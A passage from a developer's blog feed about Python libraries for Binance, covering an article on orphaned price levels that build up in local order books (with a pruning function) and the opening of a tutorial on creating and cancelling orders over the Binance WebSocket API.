</li>
</ul>
<hr />
<h2>What Didn’t</h2>
<ul>
<li><p>Context limits</p>
</li>
<li><p>Premature execution</p>
</li>
<li><p>Tone issues in marketing copy</p>
</li>
<li><p>Occasional hallucinated assumptions</p>
</li>
<li><p>Git sync conflicts</p>
</li>
</ul>
<hr />
<h2>Operating Model</h2>
<p>The agent behaves like a very fast staff engineer:</p>
<ul>
<li><p>never bored</p>
</li>
<li><p>never inconsistent</p>
</li>
<li><p>never skipping files</p>
</li>
<li><p>still needs direction</p>
</li>
</ul>
<hr />
<h2>The Real Shift</h2>
<p>Most OSS maintenance is not engineering.</p>
<p>It is:</p>
<ul>
<li><p>version updates</p>
</li>
<li><p>CI fixes</p>
</li>
<li><p>link rot</p>
</li>
<li><p>dependency drift</p>
</li>
<li><p>template maintenance</p>
</li>
</ul>
<p>AI agents are extremely good at this.</p>
<hr />
<h2>Outcome</h2>
<p>The suite is now:</p>
<ul>
<li><p>consistently MIT licensed</p>
</li>
<li><p>Python 3.9–3.14</p>
</li>
<li><p>CI-clean across repos</p>
</li>
<li><p>structurally unified</p>
</li>
<li><p>fully up to date across the entire stack</p>
</li>
<li><p>all known bug reports resolved</p>
</li>
<li><p>properly documented</p>
</li>
<li><p>partially AI-native (<code>llms.txt</code>)</p>
</li>
<li><p>significantly more stable under real-world load</p>
</li>
</ul>
<hr />
<h2>What’s Next</h2>
<ul>
<li><p>UBRA v3 architecture rewrite</p>
</li>
<li><p>deeper feature-level agent collaboration</p>
</li>
<li><p>defining the boundary of autonomy</p>
</li>
</ul>
<hr />
<p><em>This article was drafted with assistance from an AI agent, iterated through review loops, and finalized by me.</em></p>
<hr />
<p><em>UNICORN Binance Suite — production-grade Python infrastructure for Binance trading systems.</em></p>
<hr />
<p>I hope you found this tutorial informative and enjoyable! </p>
<p>Follow me on <a href="https://github.com/oliver-zehentleitner">GitHub</a>, <a href="https://x.com/unicorn_oz">X</a> and <a href="https://www.linkedin.com/in/oliver-zehentleitner/">LinkedIn</a> to stay updated on my latest releases. Your constructive feedback is always appreciated!</p>
]]></content:encoded></item><item><title><![CDATA[Your Binance Order Book Is Wrong — Here's Why]]></title><description><![CDATA[If you maintain a local Binance order book, there is a good chance it contains price levels that no longer exist on the exchange. Not because your code has a bug — but because Binance's documentation ]]></description><link>https://blog.technopathy.club/your-binance-order-book-is-wrong-here-s-why</link><guid isPermaLink="true">https://blog.technopathy.club/your-binance-order-book-is-wrong-here-s-why</guid><category><![CDATA[Cryptocurrency]]></category><category><![CDATA[trading, ]]></category><category><![CDATA[Python]]></category><category><![CDATA[Software Engineering]]></category><category><![CDATA[data-engineering]]></category><category><![CDATA[algorithms]]></category><category><![CDATA[binance]]></category><dc:creator><![CDATA[Oliver Zehentleitner]]></dc:creator><pubDate>Thu, 16 Apr 2026 09:59:33 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/07e9bd38-b649-464c-9856-97f8af518874.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>If you maintain a local Binance order book, there is a good chance it contains price levels that no longer exist on the exchange. Not because your code has a bug — but because Binance's documentation tells you to build it in a way that guarantees silent data corruption over time.</p>
<p>I am not talking about reconnect logic, sequence gaps, or the well-known initial-snapshot race condition. Those are documented and most libraries handle them. I am talking about a class of stale entries that accumulate silently in your depth cache because Binance never tells you they should be gone.</p>
<blockquote>
<p><strong>Update / follow-up:</strong> I later ran a 25-hour forensic benchmark to measure this failure mode with two DepthCache implementations running side by side on the same BTCUSDT WebSocket stream.</p>
<p>The full benchmark, interactive 3D charts, raw audit data, and GitHub repository are here:</p>
<p><a href="https://blog.technopathy.club/your-binance-depthcache-is-rotting-here-s-the-proof-in-25-hours">Your Binance DepthCache is rotting — here's the proof in 25 hours</a></p>
</blockquote>
<p>This came up while I was maintaining <a href="https://github.com/oliver-zehentleitner/unicorn-binance-local-depth-cache">UNICORN Binance Local Depth Cache (UBLDC)</a>. A user reported unbounded growth in their order book — and when I investigated, it turned out to be a gap in Binance's own synchronization spec, not a library bug. The fix was straightforward, but it is not in Binance's documentation, and I have not seen it handled in any other library.</p>
<hr />
<h2>How a depth cache is supposed to work</h2>
<p>This is Binance's official algorithm, documented in <a href="https://binance-docs.github.io/apidocs/spot/en/#how-to-manage-a-local-order-book-correctly">"How to manage a local order book correctly"</a>. Quick refresher for people who have not built one:</p>
<ol>
<li><p>You open a WebSocket stream for diff updates (<code>@depth</code>).</p>
</li>
<li><p>You request a REST snapshot of the current order book.</p>
</li>
<li><p>You discard any updates whose sequence number is older than the snapshot.</p>
</li>
<li><p>You apply the remaining updates to the snapshot in order.</p>
</li>
<li><p>From now on, every diff update arrives in real time and you mutate your local copy.</p>
</li>
</ol>
<p>A diff update is a list of price levels. For each level you receive a price and a quantity. If the quantity is <code>0</code>, the level is gone — you delete it from your book. Otherwise you set the quantity for that price level.</p>
<p>That is the whole protocol. Snapshot, apply diffs, handle the <code>0</code>-quantity delete event. Done.</p>
<p>Except it is not done.</p>
<hr />
<h2>The part Binance does not tell you</h2>
<p>Binance's depth snapshots cover the <strong>top 1000 price levels</strong> on each side. The diff stream sends you updates for any level that changes — but only for levels that are currently in the top 1000.</p>
<p>The moment a price level drops out of the top 1000 because more aggressive activity pushes it down, Binance stops sending updates for that level. Not just stops — <strong>never sends another update again</strong>, including no <code>0</code>-quantity delete event.</p>
<p>If you followed the documented protocol, that level stays in your local copy forever. Your bid book still claims there is meaningful resting size at a price that has not been part of the real order book for hours, days, weeks — however long your process has been running.</p>
<p>These are what I call <strong>orphaned entries</strong>. Ghost orders. Levels that exist only in your memory, with no representation on the actual exchange.</p>
<hr />
<h2>Why this is easy to miss</h2>
<p>A few reasons this stays invisible long enough to ship into production:</p>
<p><strong>It does not break anything obvious.</strong> Your top-of-book is fine because the top-of-book gets updated most aggressively. If you only ever read <code>asks[0]</code> and <code>bids[0]</code>, you will never notice. The corruption builds up at the edges of the book where you stop looking.</p>
<p><strong>The numbers look plausible.</strong> A stale ask at $63,247.50 with 0.4 BTC quantity is a perfectly reasonable-looking number. Nothing about it screams "I am a fossil from three hours ago." A volume aggregator summing quantities will return larger numbers than reality, but it will not return obviously wrong numbers.</p>
<p><strong>Spot-checking against the REST snapshot does not catch it.</strong> If you periodically pull a fresh snapshot and compare, you will see differences — but you will attribute them to the snapshot being a different moment in time. That is plausible. The actual cause — that levels have silently fallen off your stream — is not an obvious hypothesis.</p>
<p><strong>Documented behavior matches buggy behavior.</strong> Binance's documentation describes how to apply diff updates. It does not warn you that a level that disappears from the top 1000 will never be corrected. So if you followed the docs to the letter, your code looks correct against the spec. The spec is just incomplete.</p>
<hr />
<h2>How this was found</h2>
<p>A user <a href="https://github.com/oliver-zehentleitner/unicorn-binance-local-depth-cache/issues/45">reported</a> that their asks and bids lists were growing without any bound. Starting at around 1000 entries, the count kept climbing — slowly but monotonically. After 15 minutes, already noticeably above 1000. After hours, thousands of levels on each side with no churn at the bottom of the book.</p>
<p>At first glance it looked like a library bug. But when I dug into it, I realized the library was doing exactly what Binance's documentation says to do. The problem was upstream — in the spec itself.</p>
<p>I went back to the Binance documentation. There was no mention of bottom-of-book eviction. I tested it: created a cache, waited for active levels to roll off the top 1000, and watched whether any correction arrived for a known stale level. Nothing. The level was orphaned, and Binance had no mechanism to tell the client about it.</p>
<p>That was the moment it stopped being "there might be a bug in the apply-diff logic" and became "Binance's documented protocol is incomplete, and every implementation that follows it strictly is accumulating ghost entries."</p>
<hr />
<h2>The fix</h2>
<p>The fix is conceptually simple: <strong>prune everything beyond the top 1000 levels</strong>.</p>
<p><a href="https://github.com/oliver-zehentleitner/unicorn-binance-local-depth-cache">UBLDC</a> does this in <code>_clear_orphaned_depthcache_items()</code>. After processing a depth update, the cache is sorted by price (descending for bids, ascending for asks) and anything past position 1000 is deleted.</p>
<pre><code class="language-python">def _clear_orphaned_depthcache_items(self, market, side, limit_count=1000):
    reverse = (side == "bids")
    sorted_items = [
        [price, float(quantity)]
        for price, quantity
        in list(self.depth_caches[market][side].items())
    ]
    orphaned_items = sorted(
        sorted_items, key=itemgetter(0), reverse=reverse
    )[limit_count:]
    for item in orphaned_items:
        del self.depth_caches[market][side][str(item[0])]
</code></pre>
<p>The reasoning:</p>
<ul>
<li><p>Anything Binance still cares about will be inside the top 1000 and will keep getting diff updates.</p>
</li>
<li><p>Anything outside the top 1000 is, by Binance's own definition, not part of the snapshot you would get if you re-pulled right now.</p>
</li>
<li><p>So evicting it is correct: it brings your local copy into the same consistency window Binance guarantees.</p>
</li>
</ul>
<p>The cost is one sort per update per side. For 1000 entries on a hot pair this is microseconds. UBLDC absorbs it inside the WebSocket event loop with no measurable impact on throughput.</p>
<hr />
<h2>Why this matters even if you "only need top of book"</h2>
<p><strong>Memory growth is real.</strong> A long-lived process accumulating thousands of dead price levels per market per side, across hundreds of markets, becomes a real memory cost. Not a leak in the technical sense, but unbounded growth that nothing in Binance's protocol will stop.</p>
<p><strong>Volume-based queries break.</strong> If you ever ask "what is the total bid volume below this price" or "what price level holds the next $1M of asks", stale entries are polluting your answer. Market depth charts will be subtly wrong in ways that compound the longer the process runs.</p>
<p><strong>Book-shape logic breaks.</strong> Anything that compares against book width, density, or the relationship between price levels is reading partly from a fossil record. Strategies that look at order book shape — common in market-making and liquidity-provision — will be making decisions based on data that is half real and half archaeological.</p>
<hr />
<h2>What to do about it</h2>
<p>You have three options, depending on what you are building:</p>
<p><strong>1. Prune yourself.</strong> Periodically take the lowest-priced bids and highest-priced asks beyond the depth you care about and remove them. Six lines of Python. Works with any library.</p>
<p><strong>2. Use UBLDC in your Python project.</strong> <a href="https://github.com/oliver-zehentleitner/unicorn-binance-local-depth-cache">UNICORN Binance Local Depth Cache</a> handles this plus reconnect logic, sequence validation, multi-market management, and automatic resync on gap detection. MIT licensed, 220K+ PyPI downloads.</p>
<p><strong>3. Use UBDCC if you want it as a service.</strong> This is the option I would recommend if you are not married to a specific language or if you run multiple bots. <a href="https://github.com/oliver-zehentleitner/unicorn-binance-depth-cache-cluster">UNICORN DepthCache Cluster</a> runs UBLDC as a background service and exposes order book data via REST API — accessible from Python, Node.js, Go, Rust, or anything that speaks HTTP:</p>
<pre><code class="language-bash">pip install ubdcc
ubdcc start
</code></pre>
<p>That gives you a local REST API where any process can query consistent, pruned, auto-recovering order book data. No WebSocket management, no orphaned entries, no initialization wait on restart. Your bots connect to the service; the service handles the hard parts.</p>
<p>Either way, <strong>do not rely on the Binance diff stream alone</strong> to keep your book consistent past the active edge. The protocol does not guarantee what most documentation implies.</p>
<p>If you want the architectural reasoning behind running this as shared infrastructure instead of embedding it inside every bot, I wrote that up here: <a href="https://blog.technopathy.club/why-your-binance-order-book-should-not-live-inside-your-bot">Why Your Binance Order Book Should Not Live Inside Your Bot</a></p>
<p>And if you just want to try the cluster directly, start here: <a href="https://blog.technopathy.club/from-pip-install-to-a-redundant-binance-order-book-cluster-ubdcc-dashboard-quickstart">From pip install to a Redundant Binance Order Book Cluster — UBDCC + Dashboard Quickstart</a></p>
<hr />
<h2>Why I wrote this</h2>
<p>Since fixing this, I have seen the same question come up in different forms — <em>"why does my depth cache use so much memory after a few hours?"</em>, <em>"why is my book deeper than the REST snapshot?"</em>, <em>"why are there bids at prices that haven't been seen in days?"</em> I would rather link to one explanation than retype it.</p>
<p>This is the kind of finding that does not have a CVSS score and will not get a Binance changelog entry. It is a gap between "what the docs say" and "what actually happens at the protocol level", and the only way it gets fixed in the wider ecosystem is by being written down with code.</p>
<hr />
<p><a href="https://github.com/oliver-zehentleitner/unicorn-binance-local-depth-cache"><em>UNICORN Binance Local Depth Cache</em></a> <em>— MIT, 220K+ downloads · The fix is in</em> <code>manager.py</code><em>, function</em> <code>_clear_orphaned_depthcache_items()</code><em>.</em></p>
<p><a href="https://github.com/oliver-zehentleitner/unicorn-binance-depth-cache-cluster"><em>UNICORN DepthCache Cluster</em></a> <em>— Consistent order book data as a REST service.</em> <code>pip install ubdcc &amp;&amp; ubdcc start</code><em>. Any language, any number of clients.</em></p>
<p>Suggested reading path:</p>
<ul>
<li><p><a href="https://blog.technopathy.club/your-binance-order-book-is-wrong-here-s-why">Why Binance order books silently go wrong</a></p>
</li>
<li><p><a href="https://blog.technopathy.club/why-your-binance-order-book-should-not-live-inside-your-bot">Why the order book should not live inside your bot</a></p>
</li>
<li><p><a href="https://blog.technopathy.club/from-pip-install-to-a-redundant-binance-order-book-cluster-ubdcc-dashboard-quickstart">How to run UBDCC locally in minutes</a></p>
</li>
</ul>
<hr />
<p>I hope you found this tutorial informative and enjoyable!</p>
<p>Follow me on <a href="https://www.binance.com/en/square/profile/oliver-zehentleitner">Binance Square</a>, <a href="https://github.com/oliver-zehentleitner">GitHub</a>, <a href="https://x.com/unicorn_oz">X</a> and <a href="https://www.linkedin.com/in/oliver-zehentleitner/">LinkedIn</a> to stay updated on my latest releases. Your constructive feedback is always appreciated!</p>
<p>Thank you for reading, and happy coding!</p>
]]></content:encoded></item><item><title><![CDATA[Create and Cancel Orders via WebSocket on Binance]]></title><description><![CDATA[Until now it was only possible to receive data from Binance via WebSocket. To send requests to the Binance API, for example to create or cancel orders, you always had to use the slower REST API. This ]]></description><link>https://blog.technopathy.club/create-and-cancel-orders-via-websocket-on-binance</link><guid isPermaLink="true">https://blog.technopathy.club/create-and-cancel-orders-via-websocket-on-binance</guid><category><![CDATA[binance]]></category><category><![CDATA[Python]]></category><category><![CDATA[websockets]]></category><category><![CDATA[api]]></category><category><![CDATA[Cryptocurrency]]></category><category><![CDATA[trading, ]]></category><category><![CDATA[Software Engineering]]></category><dc:creator><![CDATA[Oliver Zehentleitner]]></dc:creator><pubDate>Wed, 15 Apr 2026 09:32:21 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/04f19538-b770-4777-8ced-d4f87c1842c8.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><em>Until now it was only possible to receive data from Binance via WebSocket. To send requests to the Binance API, for example to create or cancel orders, you always had to use the slower REST API. This has changed now!</em> 🚀</p>
<p>Recently, the <a href="https://testnet.binance.vision">Binance Spot Testnet</a> and <a href="https://www.binance.com">Binance Spot</a> have added the ability to place orders, cancel orders, and handle other API requests via a WebSocket connection:</p>
<p><a href="https://binance-docs.github.io/apidocs/websocket_api/en/#change-log">Binance WebSocket API Documentation</a></p>
<p>In Python, <a href="https://github.com/oliver-zehentleitner/unicorn-binance-websocket-api">UNICORN Binance WebSocket API</a> already supports the new features to send API requests to Binance via WebSocket. To do this, we will go through the following steps:</p>
<ol>
<li><p><strong>Binance</strong></p>
<p>— Account</p>
<p>— API key and API secret</p>
</li>
<li><p><strong>Installation of requirements</strong></p>
<p>— PIP</p>
<p>— Conda</p>
</li>
<li><p><strong>Create a Python script and establish a WebSocket API connection to Binance</strong></p>
</li>
<li><p><strong>Send requests and handle the responses</strong></p>
<p>— Global async function</p>
<p>— Global callback function</p>
<p>— Stream specific async function</p>
<p>— Stream specific callback function</p>
<p>— Request specific callback function</p>
<p>— Save answer in variable</p>
<p>— Using the <code>stream_buffer</code></p>
<p>— Multiple API Streams</p>
</li>
<li><p><strong>Available methods for API requests</strong></p>
<p>— <code>ubwa.api.spot.cancel_order()</code></p>
<p>— <code>ubwa.api.spot.create_order()</code></p>
</li>
<li><p><strong>Further information</strong></p>
</li>
</ol>
<hr />
<h3>1. Binance</h3>
<h4>Account</h4>
<p>To be able to trade on Binance you need a user account. If you don't have one yet, you can sign up via my <a href="https://www.binance.com/en/activity/referral-entry/CPA?fromActivityPage=true&amp;ref=CPA_008DXU7CWB">referral link</a>. With this we both get 100 USDT cashback vouchers for a 50 USD deposit.</p>
<h4>API key and API secret</h4>
<p>How to create an API Key/Secret pair you can read in detail <a href="https://blog.technopathy.club/how-to-create-a-binance-api-key-and-api-secret">here</a>.</p>
<hr />
<h3>2. Installation of requirements</h3>
<p><strong>Minimum requirement</strong> is a working <a href="https://www.python.org/"><strong>Python</strong></a> <strong>3.9+</strong> installation. To use the <a href="https://github.com/oliver-zehentleitner/unicorn-binance-websocket-api">UNICORN Binance WebSocket API</a> in your Python script, you need to install it on the command line using one of the two commands:</p>
<h4>With <a href="https://pypi.org/project/unicorn-binance-websocket-api/">PIP</a>:</h4>
<p>This is the default way and should always work. It contains the plain source code and optimized <a href="https://cython.org/">Cython</a> and <a href="https://www.pypy.org/">PyPy</a> Wheels:</p>
<pre><code class="language-bash">pip install unicorn-binance-websocket-api
</code></pre>
<h4>Or with <a href="https://anaconda.org/conda-forge/unicorn-binance-websocket-api">Conda</a>:</h4>
<p>This is only possible within an <a href="https://www.anaconda.com/">Anaconda</a> environment:</p>
<pre><code class="language-bash">conda install -c conda-forge unicorn-binance-websocket-api
</code></pre>
<hr />
<h3>3. Create a Python script and establish a WebSocket API connection to Binance</h3>
<p>First we import <code>unicorn_binance_websocket_api</code>, define the callback function <code>handle_socket_message()</code> to print the received data and then store an instance of <a href="https://oliver-zehentleitner.github.io/unicorn-binance-websocket-api/unicorn_binance_websocket_api.html#unicorn_binance_websocket_api.manager.BinanceWebSocketApiManager"><code>BinanceWebSocketApiManager()</code></a> in the variable <code>ubwa</code>.</p>
<p>If you want to connect <code>BinanceWebSocketApiManager()</code> to the <a href="https://testnet.binance.vision">testnet</a>, you need to pass the string <code>'binance.com-testnet'</code> to the <code>exchange</code> parameter.</p>
<p>With <code>process_stream_data=handle_socket_message</code> we pass <code>BinanceWebSocketApiManager()</code> a global callback function, to this function all received responses of the API are passed by default.</p>
<p>By default, all API requests return a string with a JSON structure. To automatically convert the JSON structure to a Python dictionary, we configure <code>output_default="dict"</code>.</p>
<p><a class="embed-card" href="https://gist.github.com/oliver-zehentleitner/5a5d739710400c8fbd9f04833c4bf1dc">https://gist.github.com/oliver-zehentleitner/5a5d739710400c8fbd9f04833c4bf1dc</a></p>

<p>Next we create the API stream, for this it is important to set the parameter <code>api</code> to <code>True</code>, otherwise a connection to another WebSocket endpoint would be established, where the API requests would not work. Please make sure that you use a valid API key/secret pair and consider the IP whitelist restrictions when testing!</p>
<p><a class="embed-card" href="https://gist.github.com/oliver-zehentleitner/b31adc37450a7a45752adb459c6b71d6">https://gist.github.com/oliver-zehentleitner/b31adc37450a7a45752adb459c6b71d6</a></p>

<p>Now all the prerequisites are met for us to send and process requests to the Binance API.</p>
<hr />
<h3>4. Send requests and handle the responses</h3>
<blockquote>
<p><strong>Note:</strong> According to this scheme all methods of <code>ubwa.api</code> can be called and executed.</p>
</blockquote>
<p>Using the <code>ubwa.api</code> object we can now send requests to the Binance API, e.g. a connection test with the <code>ubwa.api.spot.ping()</code> method.</p>
<p><strong>There are several ways to handle the API requests:</strong></p>
<ul>
<li><p>Global async function</p>
</li>
<li><p>Global callback function</p>
</li>
<li><p>Stream specific async function</p>
</li>
<li><p>Stream specific callback function</p>
</li>
<li><p>Request specific callback function</p>
</li>
<li><p>Save answer in variable</p>
</li>
<li><p>Using the <code>stream_buffer</code></p>
</li>
<li><p>Multiple API Streams</p>
</li>
</ul>
<h4>Global async function</h4>
<p>When receiving the response from Binance, the function <code>handle_socket_message()</code> is executed which we passed when initiating <code>BinanceWebSocketApiManager()</code>, and this is where you can hook your code.</p>
<p>In our example, we simply output the received data:</p>
<p><a class="embed-card" href="https://gist.github.com/oliver-zehentleitner/576ab4518ecbca583c3eec209533def1">https://gist.github.com/oliver-zehentleitner/576ab4518ecbca583c3eec209533def1</a></p>

<p><strong>Output:</strong></p>
<pre><code class="language-plaintext">Received data:
{"id":"1cc8812a0c6b-08aa-6098-2742-ac0cedc8","status":200,"result":{},"rateLimits":[{"rateLimitType":"REQUEST_WEIGHT","interval":"MINUTE","intervalNum":1,"limit":1200,"count":2}]}
</code></pre>
<p>I will use the example with <code>ubwa.api.spot.ping()</code> to introduce the other methods how you can receive and process the received data.</p>
<h4>Global callback function</h4>
<p>When receiving the response from Binance, the function <code>handle_socket_message()</code> is executed which we passed when initiating <code>BinanceWebSocketApiManager()</code>, and this is where you can hook your code.</p>
<p>In our example, we simply output the received data:</p>
<p><a class="embed-card" href="https://gist.github.com/oliver-zehentleitner/576ab4518ecbca583c3eec209533def1">https://gist.github.com/oliver-zehentleitner/576ab4518ecbca583c3eec209533def1</a></p>

<p><strong>Output:</strong></p>
<pre><code class="language-plaintext">Received data:
{"id":"1cc8812a0c6b-08aa-6098-2742-ac0cedc8","status":200,"result":{},"rateLimits":[{"rateLimitType":"REQUEST_WEIGHT","interval":"MINUTE","intervalNum":1,"limit":1200,"count":2}]}
</code></pre>
<h4>Stream specific callback function</h4>
<p>It is possible to pass a callback function to <a href="https://oliver-zehentleitner.github.io/unicorn-binance-websocket-api/unicorn_binance_websocket_api.html#unicorn_binance_websocket_api.manager.BinanceWebSocketApiManager.create_stream"><code>ubwa.create_stream()</code></a> as well. Then, for receiving responses from this stream, <strong>the stream specific callback function is used instead of the global callback function</strong> we passed to <code>BinanceWebSocketApiManager()</code>.</p>
<p><a class="embed-card" href="https://gist.github.com/oliver-zehentleitner/461a06fef1d809dd104e241599ab0f20">https://gist.github.com/oliver-zehentleitner/461a06fef1d809dd104e241599ab0f20</a></p>

<p>Now we can run ping again and this time we would use the callback function <code>handle_stream_message()</code> instead of <code>handle_socket_message()</code>.</p>
<p><a class="embed-card" href="https://gist.github.com/oliver-zehentleitner/576ab4518ecbca583c3eec209533def1">https://gist.github.com/oliver-zehentleitner/576ab4518ecbca583c3eec209533def1</a></p>

<p><strong>Output:</strong></p>
<pre><code class="language-plaintext">Received stream data:
{"id":"1cc8812a0c6b-08aa-6098-2742-ac0cedc8","status":200,"result":{},"rateLimits":[{"rateLimitType":"REQUEST_WEIGHT","interval":"MINUTE","intervalNum":1,"limit":1200,"count":2}]}
</code></pre>
<h4>Request specific callback function</h4>
<p>Since not all types of data are treated the same way, there is also the possibility to process responses of a specific request with a specific callback function.</p>
<p><a class="embed-card" href="https://gist.github.com/oliver-zehentleitner/863f346969bbbe315ab808ca6e658013">https://gist.github.com/oliver-zehentleitner/863f346969bbbe315ab808ca6e658013</a></p>

<p><strong>Output:</strong></p>
<pre><code class="language-plaintext">Received ping response:
{"id":"1cc8812a0c6b-08aa-6098-2742-ac0cedc8","status":200,"result":{},"rateLimits":[{"rateLimitType":"REQUEST_WEIGHT","interval":"MINUTE","intervalNum":1,"limit":1200,"count":2}]}
</code></pre>
<h4>Save answer in variable</h4>
<p>There is also the possibility to let the called function wait until the response to the request has arrived and then store it directly into a variable. The disadvantage of this method is that <strong>the function becomes blocking</strong>, whereby several requests can <strong>only be processed sequentially</strong>.</p>
<p><a class="embed-card" href="https://gist.github.com/oliver-zehentleitner/57e1a32959b2019c62e0254f2ad19726">https://gist.github.com/oliver-zehentleitner/57e1a32959b2019c62e0254f2ad19726</a></p>

<p><strong>Output:</strong></p>
<pre><code class="language-plaintext">Awaited ping response:
{"id":"1cc8812a0c6b-08aa-6098-2742-ac0cedc8","status":200,"result":{},"rateLimits":[{"rateLimitType":"REQUEST_WEIGHT","interval":"MINUTE","intervalNum":1,"limit":1200,"count":2}]}
</code></pre>
<h4>Using the <code>stream_buffer</code></h4>
<p>A completely different approach than the callback functions is the <a href="https://github.com/oliver-zehentleitner/unicorn-binance-websocket-api/wiki/%60stream_buffer%60"><code>stream_buffer</code></a>. This is the standard way of <code>BinanceWebSocketApiManager()</code> to process received data, here all received data is stored in a <a href="https://docs.python.org/3/library/collections.html#collections.deque"><code>deque()</code></a> stack and can be used as FIFO as well as LIFO stack to read the received data in a loop.</p>
<p>The main advantage of this solution is the <strong>desynchronization between receiving and processing</strong> the new data.</p>
<p><strong>What does this mean?</strong> <a href="https://github.com/oliver-zehentleitner/unicorn-binance-websocket-api">UBWA</a> receives the new data in an AsyncIO event loop and processes them asynchronously. This means that the data is not received and processed sequentially, but that the callback functions within the event loop are started in parallel for each data record received, which can easily push your system to its limits during peak load times, e.g. if you receive more data faster than you can store in your database over a longer period for speed reasons.</p>
<p>Because each received record is simply stored in the <code>stream_buffer</code>, the processing is immediately finished for UBWA. You can easily access the new data in the <code>stream_buffer</code> in another thread or better another process and adjust the processing time to your circumstances. Additionally the <code>stream_buffer</code> can be monitored by you and offers <a href="https://github.com/oliver-zehentleitner/unicorn-binance-websocket-api/wiki/%60stream_buffer%60">further options</a>.</p>
<p>As already mentioned the <code>stream_buffer</code> is the standard method of UBWA and is simply overwritten by setting the callback functions. So if you want to use it, do not pass a callback function in the class initialization of <code>BinanceWebSocketApiManager()</code> or anywhere else.</p>
<p>One way to use callback functions everywhere and still use the <code>stream_buffer</code> in a special situation is to explicitly pass <a href="https://oliver-zehentleitner.github.io/unicorn-binance-websocket-api/unicorn_binance_websocket_api.html#unicorn_binance_websocket_api.manager.BinanceWebSocketApiManager.add_to_stream_buffer"><code>ubwa.add_to_stream_buffer</code></a> as callback function.</p>
<p>Of course it is also possible to use different <code>stream_buffer</code>, how to do that is described in the <a href="https://github.com/oliver-zehentleitner/unicorn-binance-websocket-api/wiki/%60stream_buffer%60">wiki</a>.</p>
<p>I now choose a simple example with only one global <code>stream_buffer</code>. If you have now simply omitted passing the callback functions, the global <code>stream_buffer</code> is activated by default and your stream will write its data there.</p>
<p>Hereby you get access to the oldest record in the stack:</p>
<p><a class="embed-card" href="https://gist.github.com/oliver-zehentleitner/96d5789f65761f08069b25229ec83af9">https://gist.github.com/oliver-zehentleitner/96d5789f65761f08069b25229ec83af9</a></p>

<blockquote>
<p><strong>Note:</strong> If the <code>stream_buffer</code> is empty, <a href="https://oliver-zehentleitner.github.io/unicorn-binance-websocket-api/unicorn_binance_websocket_api.html#unicorn_binance_websocket_api.manager.BinanceWebSocketApiManager.pop_stream_data_from_stream_buffer"><code>ubwa.pop_stream_data_from_stream_buffer()</code></a> returns the boolean value <code>False</code>!</p>
</blockquote>
<p>For example, if you have problems with your database, you can catch the exception of the database connection in a <code>try</code> block and use <a href="https://oliver-zehentleitner.github.io/unicorn-binance-websocket-api/unicorn_binance_websocket_api.html#unicorn_binance_websocket_api.manager.BinanceWebSocketApiManager.add_to_stream_buffer"><code>ubwa.add_to_stream_buffer()</code></a> in the <code>except</code> block to save the record back into the <code>stream_buffer</code> and simply retrieve it later. Unfortunately, this messes up the chronological sorting! 🤨</p>
<p><a class="embed-card" href="https://gist.github.com/oliver-zehentleitner/241061d809c76ac1b08013a9ee40386c">https://gist.github.com/oliver-zehentleitner/241061d809c76ac1b08013a9ee40386c</a></p>

<h4>Multiple API streams</h4>
<p>If there is more than one API stream (with <code>api=True</code>), the methods must be told which stream to use. The <code>stream_id</code> is used to uniquely identify the streams and is returned by <a href="https://oliver-zehentleitner.github.io/unicorn-binance-websocket-api/unicorn_binance_websocket_api.html#unicorn_binance_websocket_api.manager.BinanceWebSocketApiManager.create_stream"><code>ubwa.create_stream()</code></a>, alternatively you can also work with a <code>stream_label</code>. For this to work, a <code>stream_label</code> must also be defined when creating the stream with <code>ubwa.create_stream()</code>.</p>
<p><strong>Example with</strong> <code>stream_id</code><strong>:</strong></p>
<p><a class="embed-card" href="https://gist.github.com/oliver-zehentleitner/7fc0c1ed65fa96bd9e65f3173143c17d">https://gist.github.com/oliver-zehentleitner/7fc0c1ed65fa96bd9e65f3173143c17d</a></p>

<p><strong>Example with</strong> <code>stream_label</code><strong>:</strong></p>
<p><a class="embed-card" href="https://gist.github.com/oliver-zehentleitner/b2634fd6c45574b460c3fde8414f278c">https://gist.github.com/oliver-zehentleitner/b2634fd6c45574b460c3fde8414f278c</a></p>

<hr />
<h3>5. Available methods for API requests</h3>
<blockquote>
<p><strong>Note:</strong> Actions executed via WebSocket are subject to the same filters and rate restrictions as when executed via the REST API, and are also functionally equivalent: they provide the same functionality, accept the same parameters, and return the same status and error codes.</p>
</blockquote>
<p>Each API request has its own list of accepted and mandatory parameters, gives different responses, and is subject to different request <a href="https://developers.binance.com/docs/binance-trading-api/websocket_api#general-information-on-rate-limits">limits</a>. To understand what is happening in the background, it is always advisable to also study the official documentation of <a href="https://oliver-zehentleitner.github.io/unicorn-binance-websocket-api/">Unicorn Binance WebSocket API</a> and the <a href="https://developers.binance.com/docs/binance-trading-api/websocket_api">Binance WebSocket API</a>.</p>
<ul>
<li><p><code>ubwa.api.spot.cancel_order()</code></p>
</li>
<li><p><code>ubwa.api.spot.create_order()</code></p>
</li>
</ul>
<h4>Cancel open orders</h4>
<p>Cancel all open orders on a symbol, including OCO orders.</p>
<p><em>Docs:</em> <a href="https://oliver-zehentleitner.github.io/unicorn-binance-websocket-api/"><em>UBWA</em></a><em>,</em> <a href="https://developers.binance.com/docs/binance-trading-api/websocket_api#cancel-open-orders-trade"><em>Binance</em></a></p>
<p>If you cancel an order that is a part of an OCO pair, the entire OCO is canceled.</p>
<p><a class="embed-card" href="https://gist.github.com/oliver-zehentleitner/1ca32c20ff397e91f3466f788a718a6e">https://gist.github.com/oliver-zehentleitner/1ca32c20ff397e91f3466f788a718a6e</a></p>

<p><strong>Output:</strong></p>
<pre><code class="language-json">{"id":"d37149a608c4-7951-fbbb-33f6-93d68e2d","status":200,"result":{"symbol":"BUSDUSDT","origClientOrderId":"1","orderId":942396461,"orderListId":-1,"clientOrderId":"rkAnxL9oEZr7wzKaCMiAuQ","price":"1.00000000","origQty":"15.00000000","executedQty":"0.00000000","cummulativeQuoteQty":"0.00000000","status":"CANCELED","timeInForce":"GTC","type":"LIMIT","side":"SELL","selfTradePreventionMode":"NONE"},"rateLimits":[{"rateLimitType":"REQUEST_WEIGHT","interval":"MINUTE","intervalNum":1,"limit":1200,"count":3}]}
</code></pre>
<h4>Cancel an order</h4>
<p>Cancel an active order.</p>
